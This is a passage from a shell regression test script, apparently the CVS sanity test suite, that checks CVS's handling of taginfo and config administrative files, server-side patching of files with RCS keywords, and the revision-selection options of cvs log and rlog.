1.1\nbr add ${CVSROOT_DIRNAME}/first-dir file1 1.1\nbrtag mov ${CVSROOT_DIRNAME}/first-dir file1 1.1.2.1\ntag1 del ${CVSROOT_DIRNAME}/first-dir file1 1.1\ntag1 del ${CVSROOT_DIRNAME}/first-dir\ntag1 add ${CVSROOT_DIRNAME}/first-dir file1 1.1\ntag1 del ${CVSROOT_DIRNAME}/first-dir file1 1.1\ntag1 del ${CVSROOT_DIRNAME}/first-dir\"\n\n\t cd ..\n\t cd CVSROOT\n\t echo '# Keep life simple' > taginfo\n\t dotest taginfo-cleanup-1 \"${testcvs} -q ci -m check-in-taginfo\" \\\n\"Checking in taginfo;\n${CVSROOT_DIRNAME}/CVSROOT/taginfo,v <-- taginfo\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ..\n\t cd ..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tconfig)\n\t # Tests of the CVSROOT/config file. See the comment at the\n\t # \"info\" tests for a full list of administrative file tests.\n\n\t # On Windows, we can't check out CVSROOT, because the case\n\t # insensitivity means that this conflicts with cvsroot.\n\t mkdir wnt\n\t cd wnt\n\n\t dotest config-1 \"${testcvs} -q co CVSROOT\" \"U CVSROOT/${DOTSTAR}\"\n\t cd CVSROOT\n\t echo 'bogus line' >config\n\t # We can't rely on specific revisions, since other tests\n\t # might need to modify CVSROOT/config\n\t dotest config-3 \"${testcvs} -q ci -m change-to-bogus-line\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t echo 'BogusOption=yes' >config\n\t dotest config-4 \"${testcvs} -q ci -m change-to-bogus-opt\" \\\n\"${PROG} [a-z]*: syntax error in ${CVSROOT_DIRNAME}/CVSROOT/config: line 'bogus line' is missing '='\nChecking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t echo '# No config is a good config' > config\n\t dotest config-5 \"${testcvs} -q ci -m change-to-comment\" \\\n\"${PROG} [a-z]*: ${CVSROOT_DIRNAME}/CVSROOT/config: unrecognized keyword 'BogusOption'\nChecking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t dotest config-6 \"${testcvs} -q update\" ''\n\t echo 'IgnoreUnknownConfigKeys=yes' > config\n\t echo 'BogusOption=yes' >> config\n\t dotest config-7 \"${testcvs} -q ci -m change-to-comment\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t dotest config-8 \"${testcvs} -q update\" ''\n\t echo '# No config is a good config' > config\n\t dotest config-9 \"${testcvs} -q ci -m change-to-comment\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t dotest config-10 \"${testcvs} -q update\" ''\n\n\t cd ..\n\t rm -r CVSROOT\n\t cd ..\n\t rm -r wnt\n\t ;;\n\n\tserverpatch)\n\t # Test remote CVS handling of unpatchable files. This isn't\n\t # much of a test for local CVS.\n\t # We test this with some keyword expansion games, but the situation\n\t # also arises if the user modifies the file while CVS is running.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir 1\n\t cd 1\n\t dotest serverpatch-1 \"${testcvs} -q co first-dir\" ''\n\n\t cd first-dir\n\n\t # Add a file with an RCS keyword.\n\t echo '$''Name$' > file1\n\t echo '1' >> file1\n\t dotest serverpatch-2 \"${testcvs} add file1\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\n\t dotest serverpatch-3 \"${testcvs} -q commit -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\n\t # Tag the file.\n\t dotest serverpatch-4 \"${testcvs} -q tag tag file1\" 'T file1'\n\n\t # Check out a tagged copy of the file.\n\t cd ../..\n\t mkdir 2\n\t cd 2\n\t dotest serverpatch-5 \"${testcvs} -q co -r tag first-dir\" \\\n'U first-dir/file1'\n\n\t # Remove the tag. Prior to 1.11.23, this left the tag string in the\n\t # expansion of the Name keyword.\n\t dotest serverpatch-6 \"$testcvs -q update -A first-dir\" \\\n'U first-dir/file1'\n\n\t # Modify and check in the first copy.\n\t cd ../1/first-dir\n\t echo '2' >> file1\n\t dotest serverpatch-7 \"${testcvs} -q ci -mx file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # Now update the second copy. Prior to 1.11.23, the patch would fail\n\t # using remote CVS, forcing the file to be refetched.\n\t cd ../../2/first-dir\n\t dotest serverpatch-8 \"${testcvs} -q update\" \\\n'[UP] file1'\n\n\t cd ../..\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tlog)\n\t # Test selecting revisions with cvs log.\n\t # See also log2 tests for more tests.\n\t # See also branches-14.3 for logging with a branch off of a branch.\n\t # See also multibranch-14 for logging with several branches off the\n\t # same branchpoint.\n\t # Tests of each option to cvs log:\n\t # -h: admin-19a-log\n\t # -N: log, log2, admin-19a-log\n\t # -b, -r: log\n\t # -d: logopt, rcs\n\t # -s: logopt, rcs3\n\t # -R: logopt, rcs3\n\t # -w, -t: not tested yet (TODO)\n\n\t # Check in a file with a few revisions and branches.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t dotest log-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\t echo 'first revision' > file1\n\t echo 'first revision' > file2\n\t dotest log-2 \"${testcvs} add file1 file2\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\n\t # While we're at it, check multi-line comments, input from file,\n\t # and trailing whitespace trimming\n\t echo 'line 1 '\t >${TESTDIR}/comment.tmp\n\t echo ' '\t\t>>${TESTDIR}/comment.tmp\n\t echo 'line 2\t'\t>>${TESTDIR}/comment.tmp\n\t echo '\t'\t>>${TESTDIR}/comment.tmp\n\t echo ' \t '\t>>${TESTDIR}/comment.tmp\n\t dotest log-3 \"${testcvs} -q commit -F ${TESTDIR}/comment.tmp\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t rm -f ${TESTDIR}/comment.tmp\n\n\t echo 'second revision' > file1\n\t echo 'second revision' > file2\n\t dotest log-4 \"${testcvs} -q ci -m2 file1 file2\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t dotest log-5 \"${testcvs} -q tag -b branch file1\" 'T file1'\n\t dotest log-5a \"${testcvs} -q tag tag1 file2\" 'T file2'\n\n\t echo 'third revision' > file1\n\t echo 'third revision' > file2\n\t dotest log-6 \"${testcvs} -q ci -m3 file1 file2\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\n\t dotest log-6a \"${testcvs} -q tag tag2 file2\" 'T file2'\n\n\t dotest log-7 \"${testcvs} -q update -r branch\" \\\n\"[UP] file1\n${PROG} update: file2 is no longer in the repository\"\n\n\t echo 'first branch revision' > file1\n\t dotest log-8 \"${testcvs} -q ci -m1b file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2\\.2\\.1; previous revision: 1\\.2\ndone\"\n\n\t dotest log-9 \"${testcvs} -q tag tag file1\" 'T file1'\n\n\t echo 'second branch revision' > file1\n\t dotest log-10 \"${testcvs} -q ci -m2b file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2\\.2\\.2; previous revision: 1\\.2\\.2\\.1\ndone\"\n\n\t # Set up a bunch of shell variables to make the later tests\n\t # easier to describe.=\n\t log_header1=\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\"\n\t rlog_header1=\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\"\n\t log_tags1='symbolic names:\n\ttag: 1\\.2\\.2\\.1\n\tbranch: 1\\.2\\.0\\.2'\n\t log_keyword='keyword substitution: kv'\n\t log_dash='----------------------------\nrevision'\n\t log_date=\"date: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\"\n\t log_lines=\" lines: ${PLUS}1 -1\"\n\t log_rev1=\"${log_dash} 1\\.1\n${log_date}\nline 1\n\nline 2\"\n\t log_rev2=\"${log_dash} 1\\.2\n${log_date}${log_lines}\nbranches: 1\\.2\\.2;\n2\"\n\t log_rev3=\"${log_dash} 1\\.3\n${log_date}${log_lines}\n3\"\n\t log_rev1b=\"${log_dash} 1\\.2\\.2\\.1\n${log_date}${log_lines}\n1b\"\n\t log_rev2b=\"${log_dash} 1\\.2\\.2\\.2\n${log_date}${log_lines}\n2b\"\n\t log_trailer='============================================================================='\n\n\t # Now, finally, test the log output.\n\n\t dotest log-11 \"${testcvs} log file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 5\ndescription:\n${log_rev3}\n${log_rev2}\n${log_rev1}\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\n\t dotest log-12 \"${testcvs} log -N file1\" \\\n\"${log_header1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 5\ndescription:\n${log_rev3}\n${log_rev2}\n${log_rev1}\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\n\t dotest log-13 \"${testcvs} log -b file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 3\ndescription:\n${log_rev3}\n${log_rev2}\n${log_rev1}\n${log_trailer}\"\n\n\t dotest log-14 \"${testcvs} log -r file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\n\t dotest log-14a \"${testcvs} log -rHEAD file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\n\t # The user might not realize that \"-r\" must not take a space.\n\t # In the error message, HEAD is a file name, not a tag name (which\n\t # might be confusing itself).\n\t dotest_fail log-14b \"${testcvs} log -r HEAD file1\" \\\n\"${PROG} log: nothing known about HEAD\n${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\n#\t Check that unusual syntax works correctly.\n\n\t dotest log-14c \"${testcvs} log -r: file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\t dotest log-14d \"${testcvs} log -r, file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\t dotest log-14e \"${testcvs} log -r. file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\t dotest log-14f \"${testcvs} log -r:: file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 0\ndescription:\n${log_trailer}\"\n\n\t dotest log-15 \"${testcvs} log -r1.2 file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev2}\n${log_trailer}\"\n\n\t dotest log-16 \"${testcvs} log -r1.2.2 file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\n\t # This test would fail with the old invocation of rlog, but it\n\t # works with the builtin log support.\n\t dotest log-17 \"${testcvs} log -rbranch file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\n\t dotest log-18 \"${testcvs} log -r1.2.2. file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev2b}\n${log_trailer}\"\n\n\t # Multiple -r options are undocumented; see comments in\n\t # cvs.texinfo about whether they should be deprecated.\n\t dotest log-18a \"${testcvs} log -r1.2.2.2 -r1.3:1.3 file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev2b}\n${log_trailer}\"\n\n\t # This test would fail with the old invocation of rlog, but it\n\t # works with the builtin log support.\n\t dotest log-19 \"${testcvs} log -rbranch. file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev2b}\n${log_trailer}\"\n\n\t dotest log-20 \"${testcvs} log -r1.2: file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev2}\n${log_trailer}\"\n\n\t dotest log-20a \"${testcvs} log -r1.2:: file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\n\t dotest log-21 \"${testcvs} log -r:1.2 file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev2}\n${log_rev1}\n${log_trailer}\"\n\n\t dotest log-21a \"${testcvs} log -r::1.2 file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev2}\n${log_rev1}\n${log_trailer}\"\n\n\t dotest log-22 \"${testcvs} log -r1.1:1.2 file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev2}\n${log_rev1}\n${log_trailer}\"\n\n\t dotest log-22a \"${testcvs} log -r1.1::1.2 file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev2}\n${log_trailer}\"\n\n\t dotest log-22b \"${testcvs} log -r1.1::1.3 file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev2}\n${log_trailer}\"\n\n\t # Test BASE pseudotag\n\t dotest log-23 \"${testcvs} log -rBASE file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev2b}\n${log_trailer}\"\n\n\t dotest log-24 \"${testcvs} -q up -r1.2 file1\" \"[UP] file1\"\n\t dotest log-25 \"${testcvs} log -rBASE file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev2}\n${log_trailer}\"\n\n\t dotest log-26 \"${testcvs} -q up -rbranch file1\" \"[UP] file1\"\n\n\t # Now the same tests but with rlog\n\n\t dotest log-r11 \"${testcvs} rlog first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 5\ndescription:\n${log_rev3}\n${log_rev2}\n${log_rev1}\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\n\t dotest log-r12 \"${testcvs} rlog -N first-dir/file1\" \\\n\"${rlog_header1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 5\ndescription:\n${log_rev3}\n${log_rev2}\n${log_rev1}\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\n\t dotest log-r13 \"${testcvs} rlog -b first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 3\ndescription:\n${log_rev3}\n${log_rev2}\n${log_rev1}\n${log_trailer}\"\n\n\t dotest log-r14 \"${testcvs} rlog -r first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\n\t dotest log-r14a \"${testcvs} rlog -rHEAD first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\n\t dotest_fail log-r14b \"${testcvs} rlog -r HEAD first-dir/file1\" \\\n\"${PROG} rlog: cannot find module .HEAD. - ignored\n${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\n\t dotest log-r14c \"${testcvs} rlog -r: first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\t dotest log-r14d \"${testcvs} rlog -r, first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\t dotest log-r14e \"${testcvs} rlog -r. first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\t dotest log-r14f \"${testcvs} rlog -r:: first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 0\ndescription:\n${log_trailer}\"\n\n\t dotest log-r15 \"${testcvs} rlog -r1.2 first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev2}\n${log_trailer}\"\n\n\t dotest log-r16 \"${testcvs} rlog -r1.2.2 first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\n\t dotest log-r17 \"${testcvs} rlog -rbranch first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\n\t dotest log-r18 \"${testcvs} rlog -r1.2.2. first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev2b}\n${log_trailer}\"\n\n\t dotest log-r18a \"${testcvs} rlog -r1.2.2.2 -r1.3:1.3 first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev2b}\n${log_trailer}\"\n\n\t dotest log-r19 \"${testcvs} rlog -rbranch. first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev2b}\n${log_trailer}\"\n\n\t dotest log-r20 \"${testcvs} rlog -r1.2: first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev2}\n${log_trailer}\"\n\n\t dotest log-r20a \"${testcvs} rlog -r1.2:: first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev3}\n${log_trailer}\"\n\n\t dotest log-r21 \"${testcvs} rlog -r:1.2 first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev2}\n${log_rev1}\n${log_trailer}\"\n\n\t dotest log-r21a \"${testcvs} rlog -r::1.2 first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev2}\n${log_rev1}\n${log_trailer}\"\n\n\t dotest log-r22 \"${testcvs} rlog -r1.1:1.2 first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev2}\n${log_rev1}\n${log_trailer}\"\n\n\t dotest log-r22a \"${testcvs} rlog -r1.1::1.2 first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 1\ndescription:\n${log_rev2}\n${log_trailer}\"\n\n\t dotest log-r22b \"${testcvs} rlog -r1.1::1.3 first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 2\ndescription:\n${log_rev3}\n${log_rev2}\n${log_trailer}\"\n\n\t # Test BASE pseudotag\n\t dotest log-r23 \"${testcvs} rlog -rBASE first-dir/file1\" \\\n\"${PROG} rlog: warning: no revision .BASE. in .${CVSROOT_DIRNAME}/first-dir/file1,v.\n${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 0\ndescription:\n${log_trailer}\"\n\n\t dotest log-r24 \"${testcvs} -q up -r1.2 file1\" \"[UP] file1\"\n\t dotest log-r25 \"${testcvs} rlog -rBASE first-dir/file1\" \\\n\"${PROG} rlog: warning: no revision .BASE. in .${CVSROOT_DIRNAME}/first-dir/file1,v.\n${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 5;\tselected revisions: 0\ndescription:\n${log_trailer}\"\n\n\t # Test when head is dead\n\n\t dotest log-d0 \"${testcvs} -q up -A\" \\\n\"[UP] file1\nU file2\"\n\t dotest log-d1 \"${testcvs} -q rm -f file1\" \\\n\"${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest log-d2 \"${testcvs} -q ci -m4\" \\\n\"Removing file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: delete; previous revision: 1\\.3\ndone\"\n\n\t log_header1=\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\nWorking file: file1\nhead: 1\\.4\nbranch:\nlocks: strict\naccess list:\"\n\t rlog_header1=\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\nhead: 1\\.4\nbranch:\nlocks: strict\naccess list:\"\n\t log_header2=\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\nWorking file: file2\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\"\n\t rlog_header2=\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\"\n\t log_tags2='symbolic names:\n\ttag2: 1\\.3\n\ttag1: 1\\.2'\n\t log_rev4=\"${log_dash} 1\\.4\ndate: [0-9/]* [0-9:]*; author: ${username}; state: dead; lines: ${PLUS}0 -0\n4\"\n\t log_rev22=\"${log_dash} 1\\.2\n${log_date}${log_lines}\n2\"\n\n\t dotest log-d3 \"${testcvs} log -rbranch file1\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\t dotest log-rd3 \"${testcvs} rlog -rbranch first-dir/file1\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\"\n\t dotest log-d4 \"${testcvs} -q log -rbranch\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\n${PROG} log: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\n${log_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3;\tselected revisions: 0\ndescription:\n${log_trailer}\"\n\t dotest log-d4a \"${testcvs} -q log -t -rbranch\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6\ndescription:\n${log_trailer}\n${PROG} log: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\n${log_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3\ndescription:\n${log_trailer}\"\n\t dotest log-d4b \"${testcvs} -q log -tS -rbranch\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_trailer}\n${PROG} log: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\"\n\t dotest log-d4c \"${testcvs} -q log -h -rbranch\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6\n${log_trailer}\n${PROG} log: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\n${log_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3\n${log_trailer}\"\n\t dotest log-d4d \"${testcvs} -q log -hS -rbranch\" \\\n\"${log_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\n${log_trailer}\n${PROG} log: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\"\n\t dotest log-d4e \"${testcvs} -q log -R -rbranch\" \\\n\"${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\n${CVSROOT_DIRNAME}/first-dir/file2,v\"\n\t dotest log-d4f \"${testcvs} -q log -R -S -rbranch\" \\\n\"${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\n${PROG} log: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\"\n\t dotest log-rd4 \"${testcvs} -q rlog -rbranch first-dir\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_rev2b}\n${log_rev1b}\n${log_trailer}\n${PROG} rlog: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\n${rlog_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3;\tselected revisions: 0\ndescription:\n${log_trailer}\"\n\t dotest log-rd4a \"${testcvs} -q rlog -t -rbranch first-dir\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6\ndescription:\n${log_trailer}\n${PROG} rlog: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\n${rlog_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3\ndescription:\n${log_trailer}\"\n\t dotest log-rd4b \"${testcvs} -q rlog -St -rbranch first-dir\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\ndescription:\n${log_trailer}\n${PROG} rlog: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\"\n\t dotest log-rd4c \"${testcvs} -q rlog -h -rbranch first-dir\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6\n${log_trailer}\n${PROG} rlog: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\n${rlog_header2}\n${log_tags2}\n${log_keyword}\ntotal revisions: 3\n${log_trailer}\"\n\t dotest log-rd4d \"${testcvs} -q rlog -Sh -rbranch first-dir\" \\\n\"${rlog_header1}\n${log_tags1}\n${log_keyword}\ntotal revisions: 6;\tselected revisions: 2\n${log_trailer}\n${PROG} rlog: warning: no revision .branch. in .${CVSROOT_DIRNAME}/first-dir/file2,v.\"\n\t dotest log-rd4e \"${testcvs} -q rlog -R -rbranch first-dir\" 